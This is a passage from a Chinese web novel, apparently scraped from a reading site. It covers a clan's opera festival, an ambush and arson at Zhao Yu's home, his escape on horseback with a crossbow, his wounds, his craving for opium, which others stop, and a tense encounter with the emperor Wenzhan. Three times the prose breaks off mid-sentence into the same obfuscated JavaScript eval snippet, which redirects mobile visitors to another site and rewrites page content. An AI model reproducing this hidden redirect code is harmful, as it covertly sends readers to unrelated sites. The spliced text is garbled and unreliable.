“其实,怪不得我娘翻脸。”赵毓忽然说,“当时她也以为我与文湛的事情就过去了,结果她说了一句话。” “什么?” “她对我说,——儿子,你已经熬了十年,再熬十年,这辈子就过去了。我当时听着心里就是一惊。” “怎么?” “我以为我这些年过的挺合心意的,怎么在她眼中就成熬着了?”赵毓想着就是一乐,“所以我说,我娘比我精。原来我一直以为我比她聪明多了,现在看起来,咱俩叠一起,没准能赶上她。” 崔珩就手拿了块点心,慢慢吃起来,“你不怕再次被卷入漩涡中?” 赵毓,“难道你还不明白嘛。” “我们一直在漩涡中,根本就没有升大罗生天的路,就我们这样的出身,从娘胎里一落地就注定了动荡,一辈子不得安宁。” …… 终于,赵格非见她亲爹和宁淮侯出门。 他们今天就在崔宅吃饭,等到饭菜上桌,赵格非果然知道她亲爹口中的’今天有好吃的了’究竟是什么意思。 一桌菜就像一桌姹紫嫣红开遍的美景一般。蜜火腿,白玉虾圆,翡翠豆腐,雪菜汤鳗,鳕鱼狮子头,开水白菜。最后一人一盅黄焖通天翅。 期间有管事的将七天社戏的戏单拿了过来。 崔珩让他把戏单给赵毓看,“你看看,这个安排好不好?” 赵毓拿过来,发现这次的戏单分两部分。 一个是在冉庄外面的河道边搭大戏台,曲目全部是漕河梆子的《投江》《西征》《封侯拜相》《沧州役》,最后是全套的《杨家将》和《大闹天宫》,这样既有忠臣良将的悲凉,也有老人小孩子爱看的打闹,非常合适在清明节给广大父老乡亲看。 另外一个,则文雅风骚多了。崔珩想要在林子边搭建一个小园子,里面摆上桌椅板凳,中间围成一个空当,让他从雍京带回来的昆腔班子唱。曲目都是一些靡靡之音,才子佳人什么的风雅故事。这里则让冉庄那些有头有脸的家的女眷过去听,省的她们在光天化日之下,大风小扯的,和一群庄稼汉混在一起,显得不那么典雅。 赵毓点头,“挺好的。闺女,你刚才挑了什么,过两天听戏的时候打扮的漂亮一些,可以结交一些小姐妹,以后没事的时候可以和她们游园喝茶了。” 赵格非看了看他,没说话。 赵毓意外,“不会吧,闺女,你还真跟他客气呀!” 崔珩则在一旁笑着说,“咱这姑娘是名—门—闺—秀,和你不一样。这样看起来,令岳家教当真是好。” 他说着一招手指,方才伺候他穿衣的明媚艳丽的那个小美人上前,恭敬的蹲了一下,“侯爷。” “你帮大小姐挑几匹布料,现赶制衣服来不及,就看看府里还有没有雅宅的衣裙,料子用江南刚运过来的那些丝缎纱绡,按照大小姐的身量拿几套,换着穿。还有,拿一对大一些的南珠耳环过来,大小姐还不到十五,戴不了珠钗,咱们在别的地方好好装扮,保管让咱闺女艳压群芳。” 赵毓,“艳压群芳做什么,种花吗?” “你别管了,就这么去做吧。”崔珩对那个小美人吩咐,那人赶忙去准备,“还有,这些不重要,我再给咱姑娘找两个丫头陪着,不怕有人使坏。” 赵毓点头,“这是正经事。” 于是,第三天,赵格非就被她亲爹和这个刚见面但是久仰大名如雷贯耳的表叔给装扮了一番,领着两个据说防着别人使坏的小丫鬟,去新搭的园子听戏去了。 洪朵儿也在。 她们现在算是一对儿不太对劲的绢帕交。 第一次见面,赵格非陪着她亲爹相亲,而相亲的对象就是洪朵儿。但是当时她亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728870|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹没有看中人家,反而看中了人家的亲娘。 赵格非问她,“你喜欢哪折?” 洪朵儿,“我第一次听,听的不太懂。他们说的好像不是直隶这边的话。” 赵格非,“这是昆山那边的话。” 洪朵儿,“现在唱的是什么故事?” 赵格非,“浣纱记。这是古战国的一段灭国红颜的往事。古越君王勾践被俘,越国名臣范蠡将美女西施送给吴王夫差,后来越国君臣奋发图强,终于攻下吴国,夫差自杀。后来范蠡功成身退,带着西施泛舟而去。” 洪朵儿有些感叹,“真凄美。” 赵格非,“你没有听过这个故事吗?” 洪朵儿摇头,“我们家行商,不读书的。家里只教记账打算盘,还有盘点货物,除了这些,别的都不教的。赵姑娘,你家里给你说亲了吗?” 赵格非不是第一次碰上这样的话题。 事实上,从她十岁开始,外祖母家里的七大姑八大姨的一直在说这件事,还说她这样的其实想要说一门好人家特别难,虽然是‘西北王’尹明扬的外孙女,可是家里没有母亲,父亲地位太低,高不成低不就,如果不早早筹谋,怕以后不是做老姑娘就是给人做续弦或者高门之妾,只是她爹似乎完全不着急。 “没有。”她摇头。 洪朵儿,“真羡慕你。” 那边换了一折新戏。 这次是《十五贯》,黑暗腐朽的吏治之下的民生之苦。 她们也不说话,眼睛耳朵都被那种凄凉的故事和唱腔吸引了过去。 赵毓既没有去那边草台班子听漕河梆子,也没有去陪着赵格非去听昆曲。他自己端着一个紫砂壶就在自己屋子里面,拿着一根拐杖左敲右打。开春他在院子中种的两根拐杖真的发芽长出了嫩叶,于是小院中也有一丝的春意。 “这位宁淮侯真会挑折子戏的剧目。”院子中有人说话,“天子治下,官吏要是都如此这般,我这个位子早就坐不稳了。” 赵毓出来。 他看见文湛在光天化日之下,负手站着,一双眼睛盯着他种的那两跟拐杖。今天皇帝终于穿的比较朴素了,是一件半旧的蓝色衣袍,显得文气很多,并且他身上也没有熏浓重昂贵的香。 他身后无人。 “咦,只有你一个人?” “柳丛容去河边听戏去了。他是东川人,从小进宫,没听过那些,感觉很新鲜。” “黄瓜,哦,黄枞菖呢?” “司礼监今天该他当值。” 文湛看完了那根长了嫩芽的拐杖,伸手带了一下赵毓,将他揽进屋中。 两个人紧贴墙壁站立。 文湛比他高,此时低头,耳鬓厮磨了好一会儿,又伸出舌尖沿着赵毓的耳廓轻轻描画着。 赵毓感觉特别痒,像被一只名贵的狗舔,除了痒就是痒。 他受不了都笑出声了,“你这是做什么?” “前几天从禁宫翻了一个春K宫密档出来,试试。”文湛看着他,“你不教我,我自己学。反正我就在宫廷,这些东西有的是。” 赵毓,“学这些做什么?你从小为人端正,学不来这些乱七八糟的东西,别学歪了,要是出了什么事,……,堂堂帝王马上风,写在青史上,多难看。再说,这种事情是要看天性的。我们小的时候一起在毓正宫读书,内阁杜阁老为人方正,法度极严,在他的管教之下我也能学的吃喝|嫖|赌|样样精通,说到底,我就是这样的人,根骨都是歪的。” 说着,他微微抬头,牙尖在文湛左耳垂上轻咬了一下,皇帝差点没站稳。 13. 13 13 文湛撑着赵毓就想把他往炕上带。 赵毓一把扯住他,“骑了一夜的马,现在不累?再说,前几日我们在宫里腻的还不够?” “可是,……” “没有什么可是。”赵毓把炕上的被子扯开,然后把文湛按在上面坐了。“先睡一会儿,你晚上还要回雍京呢。” “我刚来就赶我走?” “格非晚上回来。”赵毓说,“我们好久不见,也总应该让我们父女好好相处相处吧。” …… 柳丛容在河边上看到散了席的赵格非。 今天赵格非穿的不一般,虽然看上去很素雅,可是她的耳朵上坠着一对儿龙眼大的南珠,没有什么繁复的款式,就是用细金线穿起来垂在耳朵下,显得异光流彩。 “柳叔叔,您怎么过来了?” 赵格非也认识柳丛容,只不过不像同黄枞菖那样熟悉。 黄枞菖和他亲爹的关系紧密的像一家人,这位柳丛容同她亲爹也很熟悉,却熟悉的像是经常走动的亲戚一般。 “主子过来,我也就过来了。”柳丛容回答。 想必是那位’六叔’来了。赵格非点了点头,“哦。” 柳丛容自然而然跟在她身后,向回走,赵格非一看就说,“柳叔叔,这几天我爹让我住崔侯府上,您要是去我们家,得往那边走。” 聪敏机警如柳丛容自然不会仔细询问,为什么赵毓让赵格非住在宁淮侯府上。此时,崔府来接赵格非回去的马车已经到了,柳丛容赶忙道了一声谢,就同她们分道扬镳。 柳丛容进院子的时候发现院子中没有人。 随后,他在些微敞开的屋门里面看见赵毓安静的坐在炕上,手中是一本翻开的《西游记》,而他身边躺着的正是皇帝。 他的声音很轻,赵毓也看见他了。 赵毓穿了鞋子下炕,推开门出来,“听戏去了,好听吗?” 柳丛容回答,“漕河梆子听着铿锵有力,就是听不太明白。” “我在冉庄住了这么久才算听明白,你这是第一次听,肯定不太懂。”赵毓轻轻拍了拍他的肩膀,“我把客房的炕都铺好了,你赶紧睡一觉,一会儿我给你们做点饭吃。” 他们从雍京过来,快马也要一夜的路程。 现在都累了。 说完,赵毓烧了一壶热水,沏了好茶给柳丛容,也端了一茶壶水进屋。 柳丛容原来是东川土王的小儿子,他父亲叛乱失败后,家族尽数被斩杀,而他因为太小保留了一条性命入宫做了宦官。他一直在东宫,跟随当年还是太子的文湛,后来文湛登基称帝,他就成为司礼监掌印大太监,稳坐内廷权宦第一把交椅。 他与赵毓自然没有黄枞菖同他那样熟悉。不过,他们的关系也算不错。赵毓给他铺好了床铺他也敢睡,赵毓做的饭他也吃,就是不会像黄枞菖那样凑到赵毓身边去啃鸡屁股。 屋子中,文湛以一种可以躺进棺材一般永垂不朽的姿势在睡觉。 这是一个为皇位而生的男人。 极其严苛的法度已经同他的生命融合在一起。一举一动绝不越界,即使他在熟睡中失去意志的控制力却依然有板有眼。 只是此时,他的左手稍微出了被子,显示着破坏法度的壳子,那只左手向着赵毓坐着的方向微微展开了手指。 赵毓轻抚了一下他的手指,反而被皇帝微微攥住。 他也没有再动。 文湛睡到掌灯才醒,他闻到一阵饭菜的香气。 全是一些老百姓吃的家常菜,同宫廷御厨做的肯定不能同日而语,只是,这样的饭菜让他吃到撑吃到死,他都甘之如饴,因为,做菜的人是赵毓。 一盘炒肉丝,一碟子炒青菜,山水豆腐,剁碎了鸡肉弄的丸子汤,还有粳米饭。 柳丛容睡过,也醒了,正在帮助摆桌。 他见文湛过来,连忙要伺候,被文湛一摆手拒绝了,让他继续帮助赵毓摆放桌子上的碗碟。 文湛发现这里还是只有三个人,就随口问了一句,“格非还没有回来?” 赵毓说,“可能是新结交了几个绢帕交的朋友,一起去吃茶了。冉庄地方小,老崔又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728871|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派人跟着不会有什么事。你们赶紧吃,天不早了,吃完正好赶路回雍京,也不会再撞到格非。” 文湛点了点头,他坐下,拿过赵毓递给他的一碗米饭,夹着菜开始慢慢吃起来。 柳丛容听着,心中却一动。 谎言! 他却没有开口,他沉默着看着赵毓。 赵毓笑语盈盈,他同皇帝说着什么,就像是平常人家的夫妻一般。 “柳芽,你傻站着干吗?吃饭呀!”赵毓招呼他,也给他盛了一大碗米饭,“尝尝我的手艺。” 柳丛容道了谢,拿过那个饭碗。 他想着要不要将白天见到赵格非的事情告诉皇帝。 此时,他却听见皇帝说,“明天裴檀从北疆回来,他会带过来一些确定的消息,那个延绥镇守将军何晋弃城而逃的事情好像还有隐情。我也的确需要回去,见见裴檀,当面问清楚。” 他们吃过饭,赵毓提着灯笼送他们出来。 灯下,赵毓忽然抬眼看了柳丛容一眼之后,他心底一颤。 像,真像! 此时的赵毓像极了那副画中的人。 那副丝绢画像曾经被藏匿于大正宫深处,先帝凤化年间最深刻的秘密,现在已经随着先帝梓宫葬入万年吉壤。 那个是一个男人。 慵懒的坐着,手中拿着一个瓷盏,凑到唇边。他拥有女人般柔美的面孔。苍白的脸,血一样鲜红的嘴唇边上,带着一丝诡谲却羞涩甜美的笑。 左眼角一粒红色的泪痣。 ——不愧是父子,越长越像。 少年时代的赵毓和煦柔软,也像现在这样笑语盈盈,他在毓正宫读书的时候,似乎整个大正宫的人都喜欢看他的笑。但是,那个时候的他带着年少未经世事的轻狂与脆弱。现在他不一样了,具体哪里不一样,柳丛容说不上来,就是觉得此时的赵毓再笑,依然和煦温暖,却带着丝一般的韧劲。 “路上小心。” 赵毓说完,看着他们两个人上马。 一直到他们走出很远很远,赵毓才拎着灯笼回去了。 14. 14 14 寅时。 按照雍京钦天监的宣文,此时是黎明之前,夜与日的交界。 院门外有人敲门。 赵毓披衣下地,到外面开门。他没有拎灯笼,却被外面人的火把照的睁不开眼。来人是冉庄这边的捕快,姓闫,平时同他交情不错。 闫捕快一张脸笑的公事化,“赵先生,您得跟我们走一趟。” “出了什么事?” “临街洪掌柜家遭抢劫,妻女毙命。有人说您最近和洪家的女眷走的很近,上峰的意思是请您过去问几句话。” “好,等我一下。”赵毓说着就要掩门,“我换身衣服。” 闫捕快横刀将门顶住。 赵毓一见关不了门,所幸就不关了。 只是,在他转身回去的时候,忽然看见闫捕快身后一个小捕快用火把晃了一下,随后,他抬手,在自己的额头轻轻一抹,从左边的眉峰划过右边的,——暗号,这是崔珩的暗号,就是:逃! 按照赵毓的原定计划,他自己做诱饵。反正身后周围都是崔珩的人,他们自己将姓洪的那个人引出来。那个姓洪的一个外邦商人,就算心智绝佳,可是他们只在冉庄经营了一年多的时候,根本尚欠,总不如崔氏在冉庄深耕数十年,势力盘根错节。 只是,现在,…… 赵毓看到那个小捕快给他使的暗号,心中有些动摇,他假装没看见,进了自己的屋子要换衣服,…… 正在此时,闫捕快手起刀落,将那个小捕快的人头砍掉,直接扔进院子中。 “拿下!” 赵毓反手插|上门栓。 等到闫捕快带人持刀闯进屋子的时候,看似小而无处藏人的小屋空无一人。 “逃了?” “不可能,搜!” 赵毓自己屋子中的火炕连着地道。 冉庄这里的人自古彪悍,惯出响马,还是整个直隶出了名的大响马。这里的人最喜欢挖地道,当年东瀛倭奴进犯国土,在冉庄这里被老百姓挖的地道搅的鸡犬不宁。 这时候没空也没有心思想这个闫捕快的事,他感觉到对方似乎根本不是想要把自己带走,而是直接杀人灭口。 赵毓从自己屋子中的地道潜入,很快选择了一条看似危险实则艰险的岔口。 他从外面的岔口又回到了小院中。 这次他走到厢房这边,从墙壁的夹层看着外面。 “头儿,没人。” 那些手搜了一个遍,举着火把似乎可以把冉庄寅时的夜空照亮。赵毓的脸在夹壁墙后面,被这火光照的若明若暗。 “头儿,那里有条暗道,许是那个人已经逃了。” “找三个人追。”闫捕快吩咐,“剩下的人在这里守着。” “人都逃了,我们守这里做什么?” “赵毓就是个废物,后面的马没有动,他就算跑也跑不远。” 听到这些话,墙后面的赵毓心中暗骂,“娘的,还挺精。” 此时,几枚利箭分别从不同的方向朝着小院射过来,嗖嗖几下子,院子中的火把尽数被灭。 赵毓心知这是崔珩的人,他本来松了一口气,谁知道外面不知道发生什么,一阵浓重的血腥气息,外面的弓箭顿时停了,随后,几颗人头被扔进院子当中。其中一颗挂在赵毓开春种的梓树上,显得死不瞑目。 暗室中有武W器。 赵毓年少的时候也曾经被迫习六艺,——礼、乐、射、御、书、数。 除了他爱好打猎而马骑的不错之外,其它真是稀松平常,尤其是射艺,简直惨不忍睹。他手臂弱,拉不开弓,只能在弩N箭上下功夫。他的暗室中藏着几把好东西,都是他花了大价钱从大师窑错手中买回来的。 其中一把通体雪白,可以连发弩N箭,但是手腕吃力最小,他用的异常趁手,还给它起了一个名字,叫做’白菜包子’。 “赵毓,我知道你就在院中,出来。” 时间不多,马上就要天亮,闫捕快见杀了这么多人还是抓不到赵毓,心急。他知道,这一脚踏出去,绝对收不回来,今天死活都这样了,索性,…… 闫捕快一甩手,将手中的火把扔到房顶,随后,他带着的那些人都将火把扔上去,顿时,小院被点燃,火光冲天。 院子外面似乎有暴动。 只是,…… 血腥的味道越来越重,而被扔进小院的人头也多了起来。 前前后后,一共二十几个。 赵毓知道,他身边的人尽数被斩杀。 虽然他难过恶心的想要呕吐,可是这个时候,他必须冷静,只有这样,才似乎可以有一线生机。 ——失策。他知道今晚他失策了。 火越烧越旺。 再这样躲下去,就算不被他们杀死,赵毓知道自己也要被烧成一坨扭曲的木炭。 他从夹壁墙出来,在窗子后面站立,拿着手中雪白色的弩N箭连着射|死最靠近马厩的四个人。 随后,在一片混乱中,快速破门而出,直接扑到马厩那边! 赵毓拉过缰绳翻身上马,就在后院的屋顶将要烧坍塌的前一刻,他胯|下骏马奔腾而出,直接越过后墙,向院子后面的草地飞奔而去! 他身后一片啸叫与狼藉,伴随着乱箭飞|射。 赵毓平时节俭到极致,衣服可以洗的发白,屋顶可以烂到漏雪,似乎也可以吃糠咽菜,他一切都可以节省,只是马不可以。他的马是万金不换的千里良驹,血统纯正,祖上是匈奴战马,全部是黑色的,没有半分杂色,可以全部掩盖在夜色中。 …… 崔珩昨夜听戏玩的高兴,喝了一些酒。寅时三刻正睡的香甜,就被人一脚提开了门,掀开被子,从床榻上拉了起来。 “侯爷,出事了!出大事了!” 崔珩迷迷糊糊睁开眼睛,看不清楚眼前人,耳朵却听的分明! “咱们那些保护表少爷的人被人尽数斩杀!全死了!” 崔珩一下子,惊醒!他一把抓住来人,“承怡人呢?” “不知道。”那个人也是急红了眼,“表少爷的院子起火,现在都快烧塌了。他就算没被人掠走,现在恐怕也是,……,凶多吉少。” …… 赵毓的院子离崔珩的府邸平地十八里路。只是,这条路过的是河道与平原,人走在上面,周围一片空旷,没有任何遮挡。 他的马在疾驰。 后面的鬼一样的追兵,前面,则出现了魅影一般的杀手。 ——*&¥¥&(%#¥%……&*(*&……%!!!!赵毓在心中把那个没见过面的洪姓某人的祖宗十八代尽数问候了一遍! 随即,他勒住缰绳,调转马头,冲向来时路过的密林。 赵毓在冉庄住了几年,这些年他没事就在周围晃动,尤其是自己的小院同崔珩的府邸之间的通道,他踏过无数遍。 这个密林应该是活下去的唯一机会,虽然从这里去崔珩那边多出八十里的山路和一道看似不可逾越的峡谷。 这里蔓藤丛生,沟壑纵横。 一般人看来不要说骑马通过,就算是一个人迈步通过都是奢求。 但是,赵毓可以! 他在一片似乎看不见出路的密林中探出了一条通道。 赵毓将身体压的极低,一直贴在马背上,他们就在密林中急速穿行。那些藤蔓坚硬的枝丫划破了他的衣服,皮肤,但是这些在活命面前都不算什么,赵毓也顾不上。 那些人被密林拖慢了追杀的脚步。 赵毓的马不愧是西疆名品,如同上古年代这些传说中的神驹一般,逐渐着,他身边没有喧嚣声,火光也静了下来。 隐约着,前面似乎有月光的亮度。 快到了! 他心中想着,可以了,应该可以活下去了,…… 谁知道,正当他冲出密林的时候,那边有已经守候在出口的人,一字排开,对他拉开了手中的硬弓! 此时的赵毓想要用手拍自己的脑袋! 他最怕疼了,自己把自己拍死也好过被人射|成刺猬! 先发制人! 他手中的弩N箭冲着那些人的坐骑接连乱发,人嘶马叫的乱声,但是伴随着这些,一支箭破空而来,绕着赵毓拼了命的躲开致命的部位,这支箭还是从他脖子旁边擦着血痕划开了他的后背。一时之间皮开肉绽,鲜血淋漓。 也许是疼痛激出了他的愤怒。 赵毓重新载入一排弩N箭,拿起来’白菜包子’瞄准了那些人的右眼! 一人一箭,直接从眼窝插|入,当场毙命! 只有一人躲闪及时,赵毓的弩|箭只是擦着他的脸颊飞过,将他黑色的面罩刮走。赵毓没停手,针对那个活人的第二支箭射|出,这次箭端挂上细链条,射|出可以收回,他从那个人身上套回来一个牛皮袋子。 那个人在月光下露出一张脸,异域人的相貌,比郑人白一些的皮肤,挺直的鼻梁,还有一双琉璃珠子一样的眼睛。 ——你? 赵毓在敦煌见过他,叫什么浑·撒怜丁,这个人没死? 那个人弯弓搭箭,赵毓见状,连忙拉紧缰绳,双腿一夹马肚子,他胯|下这匹黑色的骏马长嘶一声,随即急速飞奔。 前面是悬崖,它却似乎没有惧意,四腿奋力一蹬,像一道虹桥一般越过深渊,一直到达悬崖的另一。 浑·撒怜丁在悬崖这端勒住了战马,他面对彼岸的赵毓拉开硬弓。 一支镶嵌了黑色尾羽的箭射于赵毓马前。 像极一封邀请。 ——下地狱吧! …… 天亮的时候,崔珩的人才在后山看见赵毓。 他全身都是伤,最吓人的是他的后背,一道伤口如同裂开的血肉模糊的沟壑一般。 他让崔珩赶紧带人回去,结果那些人早已经人去楼空,而那个闫捕快也给人灭口,尸体仍在荒野。 崔珩对他说,“失策,这次咱们都失策了。我以为那些人只不过想要套你,看样子,人家根本就没有想给你留条活路。” 赵毓将手中那个浑·撒怜丁的牛皮袋子给崔珩,“查查,这是啥?” “当时你命都快没了,还想着顺手牵羊?”崔珩拿过来,仔细掂了掂了,收下。 他让人把赵毓带到自己的内室,同时叫了大夫。 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728872|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格非知道事情之后连忙到崔珩的屋子中,她看见她亲爹背对着她,赤H裸着上身正在裹伤。 ——啊! 让她惊异的不是这次伤口这么吓人,而是她亲爹的后背。 纵横交错的鞭伤印记,虽然看上去年代久远,已经痊愈了,只是那些遗留下来的痕迹是永远无法消除的。 这是怎么回事? 赵毓回头一看是她,连忙让人被他披好外衣,“花骨朵儿,你说你到这儿做什么,到外面玩去。啊!我XX那个姓洪的祖宗十八代!” 那个被崔珩找来的大夫用细银针穿了鱼肠线给他缝合伤口,疼的让赵毓只想揍人。 他忽然想起来女儿在场,于是连忙让人把赵格非带走。 “闺女,我没事。我跟你表叔说点正事,你在这里不方便。还有,你在这,你爹我都不敢骂娘了。疼啊,疼的受不了,我不骂人,你亲爹我自己都扛不住了。” 赵格非再不想走,也不能不走了。 见她一出去,赵毓连忙对崔珩说,“这个事情,你千万别让雍京知道。” 崔珩见他这个时候还有心思想那个人,气笑了,“瞒不住。” “你不说,我不说,别人不知道。我只说我回云中送格非去了,到时候就在你这里猫几天,等伤好了再说。崔碧城,你不知道。昨天他就在我那里,是我把他给骗回雍京的,这次的事情他要是知道了,我他娘的真吃不了兜着走了。” 崔珩拉了椅子坐他面前,“他怎么可能不知道?这次你身边的人都被尽数斩杀,你说你数了但是大约被扔进院子的是二十几个人头,其实我给你的人只有十六人,剩下的人是谁的,你应该心里有数吧。你在我冉庄地面上出了这么大的变故,我一个人也扛不住,这次我能不能全须全尾的回东海,还是未知。” 赵毓骂人骂到口干舌燥。 终于,他背后的伤口算是缝合了。 他见大夫走了,一把揪住崔珩,“把你那个阿|芙|蓉|膏子给我来点。” “你混蛋!”崔珩简直不敢相信自己的耳朵,“那种东西你也想碰?那玩意能让人成瘾,戒不掉的。” “我这不疼的受不了了嘛!”赵毓特别怕疼,一疼就狂躁,“你就给我一点点,等忍过这个劲头,……” 崔珩一把甩开他的手指,“你别犯浑!老老实实挺着,我给你挖几坛烈酒去。” 赵毓的院子烧的真不能看了,所幸,他菜园后面还有两间茅屋,勉强能住人。 赵毓开始发热,他围着被子坐在木床上。 赵格非看着他,“亲爹,你你说说,您和崔侯爷吵成那样,自己跑到这个茅屋来,这到底算怎么回事?” “别提他,我烦。”赵毓头懵,“闺女,你跑过来这边干什么啊,你还是去你表叔家住几天,我现在顾不上你。” “我怎么也得在这里陪着您吧。”赵格非叹口气,“总要有人给您煮一碗热汤面吃吧。” 说着,她去厨房。 这里也烧了,她用原来一个陶罐子做灶,上面放了一个土陶盆子,下面架起来柴火,烧水煮面。 赵毓见她出门,就手从床底下摸出来一个黑色樟木的盒子。这是他的私藏。 打开。 里面是深褐色异香扑鼻的阿|芙|蓉|膏子。这是从未熟的罂|粟中提取的浆汁熬制而成的药物,可以镇痛,也可以成瘾。 他真疼的受不了了。正想用勺子挖一块,外面天空忽然变了颜色,一道闪电,几声闷雷,开始下雨。 ——不是吧,我就想镇镇痛,难道要被天打五雷轰? 赵格非连忙将火热的陶盆子用布巾垫了端进来,她一见赵毓这样,连忙将那个盒子夺过来,扔到一旁。 “亲爹,崔侯说了,让我看着您点,您可千万别犯浑!” “瞧你,怎么说话呢?我好歹是你亲爹!” 屋子外面,一阵爆雷怒吼,天空暗的像是黑夜一般,只有闪电能照亮人间。霎时,瓢泼一般的大雨浇了下来。暴雨掩盖不了院子外狂躁的马蹄声响!赵格非脸色微变,她撑开伞到院门外,只看见一队锦衣劲装的骑士,胯|下具是匈奴俊马,从远处疾驰而来! 为首的那一位在她面前勒住马,滚鞍下来,只问了她一句话,“人呢?” “里屋。”赵格非不能不回答,只是,“六叔,……” 那人看也不看她,径自进院。 断壁颓垣让他看着眉头拧成了疙瘩。 文湛一进屋,看见赵毓蹲在地上,手中拿着一个盒子。他一闻就知道那是什么,直接上去一脚踢开,这次那个樟木盒子滚了滚,彻底散架,药膏子摊了一地,想吃也吃不了了。 “文湛,你……” 赵毓一惊起身。 ——啪! 一道狠绝的耳光直接甩在赵毓的脸上。 赵格非在屋外,她看见这个情形就想要进来。 此时,一道闪电像是劈开了暗黑色的夜幕,那人的脸在光芒中显示出冷酷如同刀锋一般森然的俊美。 还有,…… 赵格非看见他身上的龙袍! 黑色缂丝,山河地理纹路,五爪金龙映着光闪着冷芒。 15. 15 15 大郑崇黑。 大正宫就是朱红色的墙壁上面盖着黑色琉璃瓦。 而‘六叔’这个人,…… 黑色的缂丝锦袍,只有名字写在宗室玉牒上的人才可以穿着黑色丝袍。 山河地理纹,象征着千年社稷江山。 五爪金龙,只有一个人能穿,甚至连皇室亲王穿着都算僭越的重罪。 赵格非想起来当时她父亲手中的帝王绿的玉佩,九龙环绕,正中大篆雕刻两个字,——文湛。 元熙帝,文湛。 赵毓反手对着文湛也是一个耳光! 皇帝苍白的脸颊上立刻显出绯红。 赵格非看着赵毓眼神和脸色都不对,她慌忙连忙进屋,一把揪住赵毓的胳膊。 “亲爹!别犯浑,千万别犯浑!” 赵毓脑袋开始晕,“闺女,你怎么又进来了?” 他指了指地上摊着的阿芙蓉膏子,“别担心,我没得吃了。” 赵毓眼神看人都是重影,脸上热辣辣的疼,全身上下没有一处好的,全是疼。他倒是不想犯浑,但是晕到极点,不想眼前有人。 “滚。” 赵格非听他说话,顿时一愣,随即马上反应过来,她爹这话不是对她说的。 皇帝忽然咳嗽了两声,他的手捂住嘴,手指缝中渗出一丝一丝的殷红。 失而复得的,比从来没有失去过的,更容易把人赶尽杀绝。 今天早上在微音殿他听到承怡遇刺、生死不明,那一瞬间他感觉到的居然不是伤心,而是死寂。 他昨天还在这里,和自己吃过饭,他笑语盈盈对着自己…… 皇帝用袖子把嘴上的血擦了一把。 没有擦净。 如同玉雕一般的脸颊上留着几抹血道子。 也许是终于把心口上的血咳出来,他的脸色反而好了一些,没有方才看着那么森森然。 “这里不能住人,你是跟我回雍京,还是住崔珩府邸?” “这是我家,我哪儿都不去。” 赵毓重新坐回木床上。他开始发热,全身却冷的如同筛糠。 闻言,皇帝也没有再说什么,转身推门走到外面,直接站在屋檐外。 他让他滚,他不在屋子中站着,可也不会离开。 外面狂风暴雨,茅檐草舍虽然简陋,好歹让人顶上有片瓦遮头。 只是,赵毓透过那片已经支离破碎的窗户纸向外看,跟随文湛过来的禁军们和他们的主子一样,安静站在暴雨中,风雨浸透了他们的衣物,他们岿然不动,木雕泥塑一般。哎,谁都是人生父母养大的,哪个也不是喝着西北风长大的,没事让人家站在外面风吹雨打,也的确不像样。 他和崔珩吵架的确是疼的昏了头。 崔珩不给阿|芙|蓉|药膏子也是为了自己好,可是刚才那个劲头,他像是魔怔了一样非要吃一口。 现在好了,反正没得吃了,也真不惦记了。 赵毓扶着墙,走到那个破碎的窗子旁,看见外面站着的文湛,还有他脸上的血迹。 他对赵格非说,“那屋有我的蓑衣,给我拿过来。我后背不能见水,咱们这里也的确不是人待的地方,还是去你表叔那边好了。” “好。” 赵格非去拿蓑衣。 赵毓对外面的人说,“换身衣服吧,都湿透了。” 柳丛容连忙捧着一件深蓝色缂丝常服跟随皇帝进来,他为文湛换装。 文湛的眼睛一瞬不瞬的盯着赵毓。 很多人都说赵毓长的好,其实他长的好还是不好文湛已经感觉不到了,对他来说,那个人就是他,也只是他。 “放心,我死都会活下去的。”赵毓说话都没有力气了,结果这句话还被他说的咬牙切齿的,“不会再留你一个人在这里。” 我们的命运从来都是荆棘铺地,面前是万刃刀锋,每走一步都被会切割得血肉模糊,行差踏差一步就是万劫不复。 但是,既然决定在一起,我就不会让你这样独自面对。 …… 宁淮侯崔珩和他府邸有头有脸的人俱跪在崔府正门外。 暴雨将他们快要打进泥土中。 皇帝扶赵毓下马,在蓑衣下揽住他的身体,却发现自己手臂上尽是一片腥甜。 “伤口裂开了吗?” “好像是。” “疼吗?” “可以忍。” 其实现在已经无所谓忍不忍了,赵毓发热烧的已经快糊涂了。 他看东西已经看不太真切,却看到崔珩像一个湿透的蘑菇一样,被种在冉庄崔府的大门前。 “老崔,你怎么被种在这里,起来呀。” 他去拉崔珩的手臂,却发现自己似乎怎么也拉不到他。 然后,他就被谁给抱进了崔府。 后背崩开的伤口需要缝合,高热需要灌药汁,喝不下去,吐了再灌。 